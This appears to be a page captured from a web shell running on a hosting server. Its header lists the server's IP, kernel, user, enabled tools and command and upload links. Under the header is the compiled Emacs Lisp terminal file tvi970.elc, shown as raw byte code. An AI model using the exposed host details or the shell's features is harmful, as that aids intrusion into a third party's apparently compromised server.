|
Server IP : 111.118.215.189 / Your IP : 3.135.236.62 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/term/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:10:40 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/term/tvi970.el
;;; in Emacs version 24.3.1
;;; with all optimizations.
;;; This file uses dynamic docstrings, first added in Emacs 19.29.
;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defvar tvi970-terminal-map (byte-code "\305 \306\307\211\203 \n@\310 @ A@#\210\nA\211\204 *\311\312 \fW\203B \310\313\314 \315\\\"\316\317\313\320 \"!!#\210 T\211\202$ *\321\312 \fW\203z \310\313\322 \323\\\"\316\317\313\324 T\"!!#\210\310\313\322 \325\\\"\316\317\313\326 T\"!!#\210 T\211\202H *)\207" [map key-binding --dolist-tail-- i --dotimes-limit-- make-sparse-keymap (("[H" [home]) ("[Z" [backtab]) ("[i" [print]) ("[@" [insert]) ("[L" [insertline]) ("[M" [deleteline]) ("[U" [next]) ("Om" [kp-subtract]) ("Ol" [kp-separator]) ("On" [kp-decimal]) ("OM" [kp-enter]) ("[K" [key_eol]) ("[J" [key_eos]) ("[2J" [key_clear]) ("[P" [key_dc]) ("[g" [S-tab]) ("[2N" [clearentry]) ("[2K" [S-clearentry]) ("[E" [10]) ("[g" [S-backtab]) ("[?1i" [key_sprint]) ("[4h" [key_sic]) ("[4l" [S-delete]) ("[Q" [S-insertline]) ("[1Q" [key_sdl]) ("[19l" [key_seol]) ("[19h" [S-erasepage]) ("[V" [S-page]) ("S" [send]) ("5" [S-send])) nil define-key 10 0 format "O%c" 112 vector intern "kp-%d" 16 "?%c" 97 "f%d" 65 "S-f%d"] 9))
#@46 Terminal initialization function for tvi970.
(defalias 'terminal-init-tvi970 #[nil "\303!\304 \305\n!\"\210\304\n \"\210)\306\307!\207" [tvi970-terminal-map m input-decode-map copy-keymap set-keymap-parent keymap-parent tvi970-set-keypad-mode 1] 4 (#$ . 1618)])
#@473 Toggle alternate keypad mode on TVI 970 keypad.
With a prefix argument ARG, enable the mode if ARG is positive,
and disable it otherwise. If called from Lisp, enable the mode
if ARG is omitted or nil.
In ``alternate keypad mode'', the keys send distinct escape
sequences, meaning that they can have their own bindings,
independent of the normal number keys.
When disabled, the terminal enters ``numeric keypad mode'', in
which the keypad's keys act as ordinary digits.
(defalias 'tvi970-set-keypad-mode #[(&optional arg) "\302 \303\304\305 \306=\203 \307\304\305\"?\202 \310 !\311V#\210\312\307\304\305\"\203' \313\202( \314!\210\315\316\307\304\305\"\2037 \317\2028 \320\"\210\321\322!\203\\ \302 \203L \302 \232\203\\ \323\324\307\304\305\"\203Y \325\202Z \326\"\210)\327 \210\307\304\305\"\207" [#1=#:last-message arg current-message set-terminal-parameter nil tvi970-keypad-numeric toggle terminal-parameter prefix-numeric-value 0 send-string-to-terminal "=" ">" run-hooks tvi970-set-keypad-mode-hook tvi970-set-keypad-mode-on-hook tvi970-set-keypad-mode-off-hook called-interactively-p any message "Tvi970-Set-Keypad mode %sabled" "en" "dis" force-mode-line-update] 6 (#$ . 1889) (list (or current-prefix-arg 'toggle))])